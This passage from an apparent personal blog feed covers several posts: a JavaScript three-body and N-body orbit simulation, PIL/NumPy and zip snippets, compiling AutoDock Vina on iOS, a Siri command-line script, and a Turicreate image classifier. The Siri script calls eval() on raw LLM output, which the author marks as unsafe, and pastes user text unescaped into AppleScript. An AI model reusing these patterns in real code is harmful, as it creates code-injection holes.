    const traceEarth = {
      x: earth.x,
      y: earth.y,
      mode: "lines",
      line: {
        color: "white"
      },
      name: "Earth",
    };

    const traceOrbit = {
      x: circle.x,
      y:circle.y,
      mode: "lines",
      line: {
        color: "crimson",
        dash: "dash"
      },
      name: "1 AU Circle",
    };

    const earthSunLayout = {
      title: "Earth-Sun Orbit",
      xaxis: {
        title: "x [AU]",
        range: [-1.1,1.1],
        showgrid: true,
        gridcolor: "rgba(255,255,255,0.5)",
        gridwidth: 1,
        zeroline: true,
        tickmode: "auto",
        nticks: 5,
      },
      yaxis: {
        title: "y [AU]",
        range: [-1.1,1.1],
        showgrid: true,
        gridcolor: "rgba(255,255,255,0.5)",
        gridwidth: 1,
        zeroline: false,
        tickmode: "auto",
        nticks: 5,
      },
      margin: {
        l: 50,
        r: 50,
        b: 50,
        t: 50,
        pad: 4,
      },
      paper_bgcolor: "black",
      plot_bgcolor: "black",
    };
    Plotly.newPlot("plot",[traceSun,traceEarth,traceOrbit], earthSunLayout);

Figure of 8 orbit

The figure of 8 solution[2] in the three-body problem refers to a unique and special trajectory where three celestial bodies (e.g., planets, stars) move in a figure of 8 shaped pattern around their mutual center of mass. This is special because it represents a stable and periodic solution to the three-body problem, which is known for its complexity and lack of general solutions.

In the figure of 8 solution, each of the three bodies follows the same looping path, but with a phase difference such that when one body is at one end of the loop, the other two are symmetrically positioned elsewhere along the path. The bodies maintain equal distances from each other throughout their motion, and their velocities and positions are perfectly balanced to maintain this periodic motion.

The figure of 8 is interesting because:

  • It is a relatively stable solution, which means that the objects continue to follow the same looping path almost indefinitely.

  • It breaks down the notion that no simple periodic solutions exist for the three-body problem.

  • It looks cool!

Show me the code

The code for this simulation is very similar to the Earth-Sun orbit simulation, except that we now have three bodies instead of two. We also use a different set of initial conditions to generate the figure of 8 orbit.

function deltaR(coords, masses, nBodies, G) {
    let x = coords[0];
    let y = coords[1];
    let vx = coords[2];
    let vy = coords[3];

    let delta = math.clone(coords);

    for (let n = 0; n < nBodies; n++) {
        let xn = x[n];
        let yn = y[n];
        let deltaVx = 0.0;
        let deltaVy = 0.0;

        for (let i = 0; i < nBodies; i++) {
            if (i !== n) {
                let sep = Math.sqrt(Math.pow(xn - x[i], 2) + Math.pow(yn - y[i], 2)); // Euclidean distance
                deltaVx -= G * masses[i] * (xn - x[i]) / Math.pow(sep, 3);
                deltaVy -= G * masses[i] * (yn - y[i]) / Math.pow(sep, 3);
            }
        }

        delta[2][n] = deltaVx;
        delta[3][n] = deltaVy;
    }

    delta[0] = vx;
    delta[1] = vy;

    return delta;
}

function step(coords, masses, deltaT, nBodies = 3, G = 6.67408313131313e-11) {
    let k1 = math.multiply(deltaT, deltaR(coords, masses, nBodies, G));
    let k2 = math.multiply(deltaT, deltaR(math.add(coords, math.multiply(k1, 0.5)), masses, nBodies, G));
    let k3 = math.multiply(deltaT, deltaR(math.add(coords, math.multiply(k2, 0.5)), masses, nBodies, G));
    let k4 = math.multiply(deltaT, deltaR(math.add(coords, k3), masses, nBodies, G));

    coords = math.add(coords, math.multiply(math.add(k1, math.multiply(2.0, k2), math.multiply(2.0, k3), k4), 1/6));

    return coords;
}

    // Initial conditions setup
    let M = [1, 1, 1];
    let x = [-0.97000436, 0.0, 0.97000436];
    let y = [0.24208753, 0.0, -0.24208753];
    let vx = [0.4662036850, -0.933240737, 0.4662036850];
    let vy = [0.4323657300, -0.86473146, 0.4323657300];
    let Ei = -1 / Math.sqrt(Math.pow(2 * 0.97000436, 2) + Math.pow(2 * 0.24208753, 2)) - 2 / Math.sqrt(Math.pow(0.97000436, 2) + Math.pow(0.24208753, 2)) + 0.5 * (math.sum(math.add(math.dotPow(vx, 2), math.dotPow(vy, 2))));

    function linspace(start, stop, num) {
        const step = (stop - start) / (num - 1);
        return Array.from({length: num}, (_, i) => start + (step * i));
    }

    let coords = [x, y, vx, vy];
    const time = linspace(0, 6.3259, 1001);
    let deltaT = time[1] - time[0];

    let X = math.zeros(3, time.length).toArray();
    let Y = math.zeros(3, time.length).toArray();
    let VX = math.zeros(3, time.length).toArray();
    let VY = math.zeros(3, time.length).toArray();

    for (let i = 0; i < time.length; i++) {
        coords = step(coords, M, deltaT, 3, 1);
        X.forEach((_, idx) => X[idx][i] = coords[0][idx]);
        Y.forEach((_, idx) => Y[idx][i] = coords[1][idx]);
        VX.forEach((_, idx) => VX[idx][i] = coords[2][idx]);
        VY.forEach((_, idx) => VY[idx][i] = coords[3][idx]);
    }

The deltaR function computes the rate of change in position and velocity of the celestial bodies based on their current positions, velocities, and masses. It accounts for the gravitational forces between all bodies.

The step function performs a single RK4 integration step, updating the positions and velocities of the celestial bodies. It uses deltaR to compute the four increments (k1, k2, k3, and k4) and then updates the coordinates accordingly.

Next, the initial conditions for the figure-8 three-body problem are set. The masses (M), initial positions (x, y), and initial velocities (vx, vy) are provided. Ei calculates the initial total energy of the system.

The linspace function is defined to create a linearly spaced array of time points. coords is an array containing the positions and velocities for all bodies. The time array is created using linspace, and deltaT is set as the time step.

X, Y, VX, and VY are 2D arrays that will store the positions and velocities of the celestial bodies over time. They are initialized with zeros and will be updated in the loop.

Finally, a loop iterates over each time step, updating the positions and velocities of the celestial bodies using the step function. The updated coordinates are stored in the X, Y, VX, and VY arrays.

Animation?

Now that we have time-series data, we need to animate it. We can use Plotly's animate function, as this does not force a full re-render, saving us some precious GPU and CPU cycles when we are trying to run this in the browser itself

    function plotClassicFunc() {
      var tailLength = 1;
      if (plotIndex < tailLength) {
      tailLength = 0;
      } else if (plotIndex > time.length) {
      plotIndex = 0;
      } else {
        tailLength = plotIndex - tailLength;
      }

      var currentIndex = plotIndex;

     try {
         time[currentIndex].toFixed(3);
      } catch (e) {
        currentIndex = 0;
      }

       const data = [
        {
            x: X[0].slice(tailLength, currentIndex),
            y: Y[0].slice(tailLength, currentIndex),
            mode: 'lines+markers',
            marker: {
                symbol: 'star',
                size: 8,
                line: { width: 0 },
            },
            line: {
                width: 2,
            },
            name: '',
        },
        {
            x: X[1].slice(tailLength, currentIndex),
            y: Y[1].slice(tailLength, currentIndex),
            mode: 'lines+markers',
            marker: {
                symbol: 'star',
                size: 8,
                line: { width: 0 },
            },
            line: {
                width: 2,
            },
            name: '',
        },
        {
            x: X[2].slice(tailLength, currentIndex),
            y: Y[2].slice(tailLength, currentIndex),
            mode: 'lines+markers',
            marker: {
                symbol: 'star',
                size: 8,
                line: { width: 0 },
            },
            line: {
                width: 2,
            },
            name: '',
        },
    ];

    // width: 1000, height: 400
    const layout = {
        title: '∞ Three-Body Problem: t = ' + time[currentIndex].toFixed(3),
        xaxis: {
            title: 'x',
            range: [-1.1,1.1]
        },
        yaxis: {
            title: 'y',
            scaleanchor: 'x',
            scaleratio: 1,
            range: [-0.5,0.5]
        },
        plot_bgcolor: 'black',
        paper_bgcolor: 'black',
        font: {
            color: 'white',
        },
    };

    try {
    Plotly.animate("plot", {
        data: data, layout: layout
      }, {
        staticPlot: true,
        transition: {
          duration: 0,
        },
        frame: {
          duration: 0,
          redraw: false,
        }
      });
      } catch (err) {
        Plotly.newPlot('plot', data, layout);
      }


    plotIndex += delay;
    if (plotClassic===true) {
      try {
        requestAnimationFrame(plotClassicFunc);
        }
      catch (err) {
        console.log(err)
      }
    }

    }

"General" N-Body Solver

Show me the code!

function step(coords, masses, deltaT, nBodies = 3, G = 6.67408313131313e-11) {
    let k1 = math.multiply(deltaT, deltaR(coords, masses, nBodies, G));
    let k2 = math.multiply(deltaT, deltaR(math.add(coords, math.multiply(k1, 0.5)), masses, nBodies, G));
    let k3 = math.multiply(deltaT, deltaR(math.add(coords, math.multiply(k2, 0.5)), masses, nBodies, G));
    let k4 = math.multiply(deltaT, deltaR(math.add(coords, k3), masses, nBodies, G));

    coords = math.add(coords, math.multiply(math.add(k1, math.multiply(2.0, k2), math.multiply(2.0, k3), k4), 1/6));

    return coords;
}

function detectCollisionsEscape(coords, deltaT, maxSep) {
  const [x, y, vx, vy] = coords;
  const V = vx.map((v, i) => Math.sqrt(v ** 2 + vy[i] ** 2));
  const R = V.map(v => v * deltaT);
  let collision = false, collisionInds = null, escape = false, escapeInd = null;

  for (let n = 0; n < x.length; n++) {
      const rn = R[n], xn = x[n], yn = y[n];
      for (let i = 0; i < x.length; i++) {
          if (i !== n) {
              const minSep = rn + R[i];
              const sep = Math.sqrt((xn - x[i]) ** 2 + (yn - y[i]) ** 2);
              if (sep < minSep) {
                  collision = true;
                  collisionInds = [n, i];
              } else if (sep > maxSep) {
                  escape = true;
                  escapeInd = n;
                  return [collision, collisionInds, escape, escapeInd];
              }
          }
      }
  }
  return [collision, collisionInds, escape, escapeInd];
}

function nBodyStep(coords, masses, deltaT, maxSep, nBodies, G = 6.67408313131313e-11) { // Similar to our step function before, but keeping track of collisions
  coords = step(coords, masses, deltaT, nBodies, G); // Update the positions as we did before
  //console.log(detectCollisionsEscape(coords, deltaT, maxSep));
  let [collision, collisionInds, escape, escapeInd] = detectCollisionsEscape(coords, deltaT, maxSep); // Detect collisions/escapes


  if (collision) { // Do inelastic collision and delete extra body (2 -> 1)
    const [i1, i2] = collisionInds;
      const [x1, x2] = [coords[0][i1], coords[0][i2]];
      const [y1, y2] = [coords[1][i1], coords[1][i2]];
      const [vx1, vx2] = [coords[2][i1], coords[2][i2]];
      const [vy1, vy2] = [coords[3][i1], coords[3][i2]];
      const [px1, px2] = [masses[i1] * vx1, masses[i2] * vx2];
      const [py1, py2] = [masses[i1] * vy1, masses[i2] * vy2];
      const px = px1 + px2;
      const py = py1 + py2;
      const newM = masses[i1] + masses[i2];
      const vfx = px / newM;
      const vfy = py / newM;
      coords[0][i1] = (x1 * masses[i1] + x2 * masses[i2]) / (masses[i1] + masses[i2]); // Center of mass
      coords[1][i1] = (y1 * masses[i1] + y2 * masses[i2]) / (masses[i1] + masses[i2]);
      coords[2][i1] = vfx;
      coords[3][i1] = vfy;
      coords[0].splice(i2, 1);
      coords[1].splice(i2, 1);
      coords[2].splice(i2, 1);
      coords[3].splice(i2, 1);
      masses[i1] = newM;
      masses.splice(i2, 1);
      nBodies--;
  }
  // Could also implement condition for escape where we stop calculating forces but I'm too lazy for now
  return [coords, masses, nBodies, collision, collisionInds, escape, escapeInd];
}

function uniform(min, max) {
  return Math.random() * (max - min) + min;
}

function deepCopyCoordsArray(arr) {
  return arr.map(innerArr => innerArr.slice());
}

function genNBodyResults(nBodies, tStop, nTPts, nBodiesStop = 10, G = 6.67408313131313e-11) {

  var btn = document.getElementById("startSim3");
  // Set button text to Solving
  var prevText = btn.innerHTML;
  btn.innerHTML = "Solving...";

  let coords = [Array(nBodies).fill(0), Array(nBodies).fill(0), Array(nBodies).fill(0), Array(nBodies).fill(0)];
  const Mstar = 2e30;
  const Mp = Mstar / 1e4;

  for (let i = 0; i < nBodies; i++) { // Initialize coordinates on ~Keplerian orbits
      let accept = false;
      let r = null;
      while (!accept) { // Prevent a particle from spawning within 0.2 AU too close to "star"
          r = Math.random() * 2 * 1.5e11; // Say radius of 2 AU
          if (r / 1.5e11 > 0.2) {
              accept = true;
          }
      }
      const theta = uniform(0, 2 * Math.PI);
      const x = r * Math.cos(theta);
      const y = r * Math.sin(theta);
      const v = Math.sqrt(G * Mstar / r);
      const perturbedV = v + v / 1000 * uniform(-1, 1); // Perturb the velocities ever so slightly
      const vTheta = Math.atan2(y, x);
      coords[0][i] = x;
      coords[1][i] = y;
      coords[2][i] = -perturbedV * Math.sin(vTheta);
      coords[3][i] = perturbedV * Math.cos(vTheta);
  }

  //console.log('Initial coords:', coords);


  let masses = Array(nBodies).fill(Mp); // Initialize masses
  masses[0] = Mstar; // Make index one special as the central star
  coords[0][0] = 0;
  coords[1][0] = 0;
  coords[2][0] = 0;
  coords[3][0] = 0; // Initialize central star at origin with no velocity
  const yearSec = 365 * 24 * 3600;
  const time = Array.from({ length: nTPts }, (_, i) => i * tStop / (nTPts - 1) * yearSec); // Years -> s
  let t = time[0];
  const deltaT = time[1] - time[0];
  let tInd = 0;
  const coordsRecord = [deepCopyCoordsArray(coords)];
  const massRecord = [masses.slice()]; // Initialize records with initial conditions


  while (tInd < nTPts && nBodies > nBodiesStop) {
    //console.log('Initial coords:', coords);
    [coords, masses, nBodies] = nBodyStep(coords, masses, deltaT, 10 * 1.5e11, nBodies, G); // Update
    coordsRecord.push(deepCopyCoordsArray(coords));
    massRecord.push(masses.slice()); // Add to records
    tInd++;
    t = time[tInd];
    //console.log(`currently at t = ${(t / yearSec).toFixed(2)} years\r`);
  }
  console.log(`final time = ${time[tInd] / yearSec} years with ${nBodies} bodies remaining`);

  // Set button text to Start Simulation
  btn.innerHTML = prevText;

  return [coordsRecord, massRecord, time.slice(0, tInd + 1)];
}


 var [coordsRecordR, _, tR] = genNBodyResults(256,1,1001);
    //console.log(coordsRecordR);
    const yearSec = 365 * 24 * 3600;

    function createFrame(coordsR) {
      if (!coordsR || !coordsR[0] || !coordsR[1]) {
          return [];
      }

      const traceCentralStar = {
          x: [coordsR[0][0] / 1.5e11],
          y: [coordsR[1][0] / 1.5e11],
          mode: 'markers',
          type: 'scatter',
          name: 'Central star',
          marker: { color: 'gold', symbol: 'star', size: 10 },
      };

      const xCoords = coordsR[0].slice(1).map(x => x / 1.5e11);
      const yCoords = coordsR[1].slice(1).map(y => y / 1.5e11);

      const traceOtherBodies = {
          x: xCoords,
          y: yCoords,
          mode: 'markers',
          type: 'scatter',
          name: '',
          marker: { color: 'dodgerblue', symbol: 'circle', size: 2 },
      };

      return [traceCentralStar, traceOtherBodies];
  }


  function createLayout(i) {
    return {
        title: {
            text: `N-Body Problem: t = ${Number(t[i] / yearSec).toFixed(3)} years`,
            x: 0.03,
            y: 0.97,
            xanchor: 'left',
            yanchor: 'top',
            font: { size: 14 },
        },
        xaxis: { title: 'x [AU]', range: [-2.1, 2.1] },
        yaxis: { title: 'y [AU]', range: [-2.1, 2.1], scaleanchor: 'x', scaleratio: 1 },
        showlegend: false,
        margin: { l: 60, r: 40, t: 40, b: 40 },
        width: 800,
        height: 800,
        plot_bgcolor: 'black',
    };
}

  function animateNBodyProblem() {
  const nFrames = tR.length;

  for (let i = 0; i < nFrames; i++) {
      const frameData = createFrame(coordsRecordR[i]);
      const layout = createLayout(i);
      //Plotly.newPlot(plotDiv, frameData, layout);
      try {
        Plotly.animate("plot", {
        data: frameData, layout: layout
      }, {
        staticPlot: true,
        transition: {
          duration: 0,
        },
        frame: {
          duration: 0,
          redraw: false,
        }
      });
    } catch (err) {
      Plotly.newPlot('plot', frameData, layout);
    }
  }
}

animateNBodyProblem();

Playground

References

  1. Barrow-Green, June (2008), "The Three-Body Problem", in Gowers, Timothy; Barrow-Green, June; Leader, Imre (eds.), The Princeton Companion to Mathematics, Princeton University Press, pp. 726–728
  2. Moore, Cristopher (1993), "Braids in classical dynamics", Physical Review Letters, 70 (24): 3675–3679
]]>
https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html Converting between image and NumPy array Short code snippet for converting between PIL image and NumPy arrays. https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html Tue, 14 Jan 2020 00:10:00 -0000 Converting between image and NumPy array
import numpy
import PIL

# Convert PIL Image to NumPy array
img = PIL.Image.open("foo.jpg")
arr = numpy.array(img)

# Convert array to Image
img = PIL.Image.fromarray(arr)

Saving an Image

try:
    img.save(destination, "JPEG", quality=80, optimize=True, progressive=True)
except IOError:
    PIL.ImageFile.MAXBLOCK = img.size[0] * img.size[1]
    img.save(destination, "JPEG", quality=80, optimize=True, progressive=True)
]]>
https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html Splitting ZIPs into Multiple Parts Short code snippet for splitting zips. https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html Sun, 08 Dec 2019 13:27:00 -0000 Splitting ZIPs into Multiple Parts

Tested on macOS

Creating the archive:

zip -r -s 5 oodlesofnoodles.zip website/

5 stands for each split files' size (in mb, kb and gb can also be specified)

For encrypting the zip:

zip -er -s 5 oodlesofnoodles.zip website

Extracting Files

First we need to collect all parts, then

zip -F oodlesofnoodles.zip --out merged.zip
]]>
https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html Compiling AutoDock Vina on iOS Compiling AutoDock Vina on iOS https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html Tue, 02 Jun 2020 23:23:00 -0000 Compiling AutoDock Vina on iOS

Why? Because I can.

Installing makedepend

makedepend is a Unix tool used to generate dependencies of C source files. Most modern programs do not use this anymore, but then again AutoDock Vina's source code hasn't been changed since 2011. The first hurdle came when I saw that there was no makedepend command, neither was there any package on any development repository for iOS. So, I tracked down the original source code for makedepend (https://github.com/DerellLicht/makedepend). According to the repository this is actually the source code for the makedepend utility that came with some XWindows distribution back around Y2K. I am pretty sure there is a problem with my current compiler configuration because I had to manually edit the Makefile to provide the path to the iOS SDKs using the -isysroot flag.

Editing the Makefile

Original Makefile ( I used the provided mac Makefile base )

BASE=/usr/local
BOOST_VERSION=1_41
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch i386 -arch ppc -isysroot /Developer/SDKs/MacOSX10.5.sdk -mmacosx-version-min=10.4
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=

include ../../makefile_common

I installed Boost 1.68.0-1 from Sam Bingner's repository. ( Otherwise I would have had to compile boost too 😫 )

Edited Makefile

BASE=/usr
BOOST_VERSION=1_68
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch arm64 -isysroot /var/sdks/Latest.sdk
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=

include ../../makefile_common

Updating the Source Code

Of course since Boost 1.41 many things have been added and deprecated, that is why I had to edit the source code to make it work with version 1.68

Error 1 - No Matching Constructor

../../../src/main/main.cpp:50:9: error: no matching constructor for initialization of 'path' (aka 'boost::filesystem::path')
return path(str, boost::filesystem::native);

This was an easy fix, I just commented this and added a return statement to return the path

return path(str)

Error 2 - No Member Named 'nativefilestring'

../../../src/main/main.cpp:665:57: error: no member named 'native_file_string' in 'boost::filesystem::path'
                std::cerr << "\n\nError: could not open \"" << e.name.native_file_string() << "\" for " << (e.in ? "reading" : "writing") << ".\n";
                                                               ~~~~~~ ^
../../../src/main/main.cpp:677:80: error: no member named 'native_file_string' in 'boost::filesystem::path'
                std::cerr << "\n\nParse error on line " << e.line << " in file \"" << e.file.native_file_string() << "\": " << e.reason << '\n';
                                                                                      ~~~~~~ ^
2 errors generated.

Turns out native_file_string was deprecated in Boost 1.57 and replaced with just string

Error 3 - Library Not Found

This one still boggles me because there was no reason for it to not work, as a workaround I downloaded the DEB, extracted it and used that path for compiling.

Error 4 - No Member Named 'nativefilestring' Again.

But, this time in another file and I quickly fixed it

Moment of Truth

Obviously it was working on my iPad, but would it work on another device? I transferred the compiled binary and

"AutoDock Vina running on my iPhone"

The package is available on my repository and only depends on boost. ( Both, Vina and Vina-Split are part of the package)

]]>
https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html Interacting with Siri using the command line Code snippet to interact with Siri by issuing commands from the command-line. https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html Wed, 08 Feb 2023 17:21:00 -0000 Interacting with Siri using the command line

My main objective was to see if I could issue multi-intent commands in one go. Obviously, Siri cannot do that (neither can Alexa, Cortana, or Google Assistant). The script here can issue either a single command, or use the help of OpenAI's DaVinci model to extract multiple commands and pass them onto siri.

Prerequisites

  • Run macOS
  • Enable type to Siri (Settings > Accessibility -> Type to Siri)
  • Enable the Terminal to control System Events (The first time you run the script, it will prompt you to enable it)

Show me ze code

If you are here just for the code:

import argparse
import applescript
import openai

from os import getenv

openai.api_key = getenv("OPENAI_KEY")
engine = "text-davinci-003"

def execute_with_llm(command_text: str) -> None:
    llm_prompt = f"""You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.

    Example:
    Q: "Turn on the lights and turn off the lights"
    A: ["Turn on the lights", "Turn off the lights"]

    Q: "Switch off the lights and then play some music"
    A: ["Switch off the lights", "Play some music"]

    Q: "I am feeling sad today, play some music"
    A: ["Play some cheerful music"]

    Q: "{command_text}"
    A: 
    """

    completion = openai.Completion.create(engine=engine, prompt=llm_prompt, max_tokens=len(command_text.split(" "))*2)

    for task in eval(completion.choices[0].text):
        execute_command(task)


def execute_command(command_text: str) -> None:
    """Execute a Siri command."""

    script = applescript.AppleScript(f"""
        tell application "System Events" to tell the front menu bar of process "SystemUIServer"
            tell (first menu bar item whose description is "Siri")
                perform action "AXPress"
            end tell
        end tell

        delay 2

        tell application "System Events"
            set textToType to "{command_text}"
            keystroke textToType
            key code 36
        end tell
    """)

    script.run()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("command", nargs="?", type=str, help="The command to pass to Siri", default="What time is it?")
    parser.add_argument('--openai', action=argparse.BooleanOptionalAction, help="Use OpenAI to detect multiple intents", default=False)
    args = parser.parse_args()

    if args.openai:
        execute_with_llm(args.command)
    else:
        execute_command(args.command)

Usage:

python3 main.py "play some taylor swift"
python3 main.py "turn off the lights and play some music" --openai

ELI5

I am not actually going to explain it as if I am explaining to a five-year old kid.

AppleScript

In the age of Siri Shortcuts, AppleScript can still do more. It is a scripting language created by Apple that can help you automate pretty much anything you see on your screen.

We use the following AppleScript to trigger Siri and then type in our command:

tell application "System Events" to tell the front menu bar of process "SystemUIServer"
    tell (first menu bar item whose description is "Siri")
        perform action "AXPress"
    end tell
end tell

delay 2

tell application "System Events"
    set textToType to "Play some rock music"
    keystroke textToType
    key code 36
end tell

This first triggers Siri, waits for a couple of seconds, and then types in our command. In the script, this functionality is handled by the execute_command function.

import applescript

def execute_command(command_text: str) -> None:
    """Execute a Siri command."""

    script = applescript.AppleScript(f"""
        tell application "System Events" to tell the front menu bar of process "SystemUIServer"
            tell (first menu bar item whose description is "Siri")
                perform action "AXPress"
            end tell
        end tell

        delay 2

        tell application "System Events"
            set textToType to "{command_text}"
            keystroke textToType
            key code 36
        end tell
    """)

    script.run()

Multi-Intent Commands

We can call OpenAI's API to autocomplete our prompt and extract multiple commands. We don't need to use OpenAI's API, and can also simply use Google's Flan-T5 model using HuggingFace's transformers library.

Ze Prompt

You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.

    Example:
    Q: "Turn on the lights and turn off the lights"
    A: ["Turn on the lights", "Turn off the lights"]

    Q: "Switch off the lights and then play some music"
    A: ["Switch off the lights", "Play some music"]

    Q: "I am feeling sad today, play some music"
    A: ["Play some cheerful music"]

    Q: "{command_text}"
    A:

This prompt gives the model a few examples to increase the generation accuracy, along with instructing it to return a Python list.

Ze Code

import openai

from os import getenv

openai.api_key = getenv("OPENAI_KEY")
engine = "text-davinci-003"

def execute_with_llm(command_text: str) -> None:
    llm_prompt = f"""You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.

    Example:
    Q: "Turn on the lights and turn off the lights"
    A: ["Turn on the lights", "Turn off the lights"]

    Q: "Switch off the lights and then play some music"
    A: ["Switch off the lights", "Play some music"]

    Q: "I am feeling sad today, play some music"
    A: ["Play some cheerful music"]

    Q: "{command_text}"
    A: 
    """

    completion = openai.Completion.create(engine=engine, prompt=llm_prompt, max_tokens=len(command_text.split(" "))*2)

    for task in eval(completion.choices[0].text): # NEVER EVAL IN PROD RIGHT LIKE THIS
        execute_command(task)

Gluing together code

To finish it all off, we can use argparse to only send the input command to OpenAI when asked to do so.

import argparse

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("command", nargs="?", type=str, help="The command to pass to Siri", default="What time is it?")
    parser.add_argument('--openai', action=argparse.BooleanOptionalAction, help="Use OpenAI to detect multiple intents", default=False)
    args = parser.parse_args()

    if args.openai:
        execute_with_llm(args.command)
    else:
        execute_command(args.command)

Conclusion

Siri is still dumb. When I ask it to Switch off the lights, it default to the home thousands of miles away. But, this code snippet definitely does work!

]]>
https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire Tutorial on creating a custom Image Classifier using Turicreate and a dataset from Kaggle https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html Thu, 16 Jan 2020 10:36:00 -0000 Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire

For setting up Kaggle with Google Colab, please refer to my previous post

Dataset

Mounting Google Drive

import os
from google.colab import drive
drive.mount('/content/drive')

Downloading Dataset from Kaggle

os.environ['KAGGLE_CONFIG_DIR'] = "/content/drive/My Drive/"
!kaggle datasets download ashutosh69/fire-and-smoke-dataset
!unzip "fire-and-smoke-dataset.zip"

Pre-Processing

!mkdir default smoke fire

\

!ls data/data/img_data/train/default/*.jpg

\

img_1002.jpg   img_20.jpg     img_519.jpg     img_604.jpg       img_80.jpg
img_1003.jpg   img_21.jpg     img_51.jpg     img_60.jpg       img_8.jpg
img_1007.jpg   img_22.jpg     img_520.jpg     img_61.jpg       img_900.jpg
img_100.jpg    img_23.jpg     img_521.jpg    'img_62 (2).jpg'   img_920.jpg
img_1014.jpg   img_24.jpg    'img_52 (2).jpg'     img_62.jpg       img_921.jpg
img_1018.jpg   img_29.jpg     img_522.jpg    'img_63 (2).jpg'   img_922.jpg
img_101.jpg    img_3000.jpg   img_523.jpg     img_63.jpg       img_923.jpg
img_1027.jpg   img_335.jpg    img_524.jpg     img_66.jpg       img_924.jpg
img_102.jpg    img_336.jpg    img_52.jpg     img_67.jpg       img_925.jpg
img_1042.jpg   img_337.jpg    img_530.jpg     img_68.jpg       img_926.jpg
img_1043.jpg   img_338.jpg    img_531.jpg     img_700.jpg       img_927.jpg
img_1046.jpg   img_339.jpg   'img_53 (2).jpg'     img_701.jpg       img_928.jpg
img_1052.jpg   img_340.jpg    img_532.jpg     img_702.jpg       img_929.jpg
img_107.jpg    img_341.jpg    img_533.jpg     img_703.jpg       img_930.jpg
img_108.jpg    img_3.jpg      img_537.jpg     img_704.jpg       img_931.jpg
img_109.jpg    img_400.jpg    img_538.jpg     img_705.jpg       img_932.jpg
img_10.jpg     img_471.jpg    img_539.jpg     img_706.jpg       img_933.jpg
img_118.jpg    img_472.jpg    img_53.jpg     img_707.jpg       img_934.jpg
img_12.jpg     img_473.jpg    img_540.jpg     img_708.jpg       img_935.jpg
img_14.jpg     img_488.jpg    img_541.jpg     img_709.jpg       img_938.jpg
img_15.jpg     img_489.jpg   'img_54 (2).jpg'     img_70.jpg       img_958.jpg
img_16.jpg     img_490.jpg    img_542.jpg     img_710.jpg       img_971.jpg
img_17.jpg     img_491.jpg    img_543.jpg    'img_71 (2).jpg'   img_972.jpg
img_18.jpg     img_492.jpg    img_54.jpg     img_71.jpg       img_973.jpg
img_19.jpg     img_493.jpg   'img_55 (2).jpg'     img_72.jpg       img_974.jpg
img_1.jpg      img_494.jpg    img_55.jpg     img_73.jpg       img_975.jpg
img_200.jpg    img_495.jpg    img_56.jpg     img_74.jpg       img_980.jpg
img_201.jpg    img_496.jpg    img_57.jpg     img_75.jpg       img_988.jpg
img_202.jpg    img_497.jpg    img_58.jpg     img_76.jpg       img_9.jpg
img_203.jpg    img_4.jpg      img_59.jpg     img_77.jpg
img_204.jpg    img_501.jpg    img_601.jpg     img_78.jpg
img_205.jpg    img_502.jpg    img_602.jpg     img_79.jpg
img_206.jpg    img_50.jpg     img_603.jpg     img_7.jpg

The image files are not actually JPEG, thus we first need to save them in the correct format for Turicreate

from PIL import Image
import glob


folders = ["default","smoke","fire"]
for folder in folders:
  n = 1
  for file in glob.glob("./data/data/img_data/train/" + folder + "/*.jpg"):
    im = Image.open(file)
    rgb_im = im.convert('RGB')
    rgb_im.save((folder + "/" + str(n) + ".jpg"), quality=100)
    n +=1 
  for file in glob.glob("./data/data/img_data/train/" + folder + "/*.jpg"):
    im = Image.open(file)
    rgb_im = im.convert('RGB')
    rgb_im.save((folder + "/" + str(n) + ".jpg"), quality=100)
    n +=1

\

!mkdir train
!mv default ./train
!mv smoke ./train
!mv fire ./train

Making the Image Classifier

Making an SFrame

!pip install turicreate

\

import turicreate as tc
import os

data = tc.image_analysis.load_images("./train", with_path=True)

data["label"] = data["path"].apply(lambda path: os.path.basename(os.path.dirname(path)))

print(data)

data.save('fire-smoke.sframe')

\

+-------------------------+------------------------+
|           path          |         image          |
+-------------------------+------------------------+
|  ./train/default/1.jpg  | Height: 224 Width: 224 |
|  ./train/default/10.jpg | Height: 224 Width: 224 |
| ./train/default/100.jpg | Height: 224 Width: 224 |
| ./train/default/101.jpg | Height: 224 Width: 224 |
| ./train/default/102.jpg | Height: 224 Width: 224 |
| ./train/default/103.jpg | Height: 224 Width: 224 |
| ./train/default/104.jpg | Height: 224 Width: 224 |
| ./train/default/105.jpg | Height: 224 Width: 224 |
| ./train/default/106.jpg | Height: 224 Width: 224 |
| ./train/default/107.jpg | Height: 224 Width: 224 |
+-------------------------+------------------------+
[2028 rows x 2 columns]
Note: Only the head of the SFrame is printed.
You can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.
+-------------------------+------------------------+---------+
|           path          |         image          |  label  |
+-------------------------+------------------------+---------+
|  ./train/default/1.jpg  | Height: 224 Width: 224 | default |
|  ./train/default/10.jpg | Height: 224 Width: 224 | default |
| ./train/default/100.jpg | Height: 224 Width: 224 | default |
| ./train/default/101.jpg | Height: 224 Width: 224 | default |
| ./train/default/102.jpg | Height: 224 Width: 224 | default |
| ./train/default/103.jpg | Height: 224 Width: 224 | default |
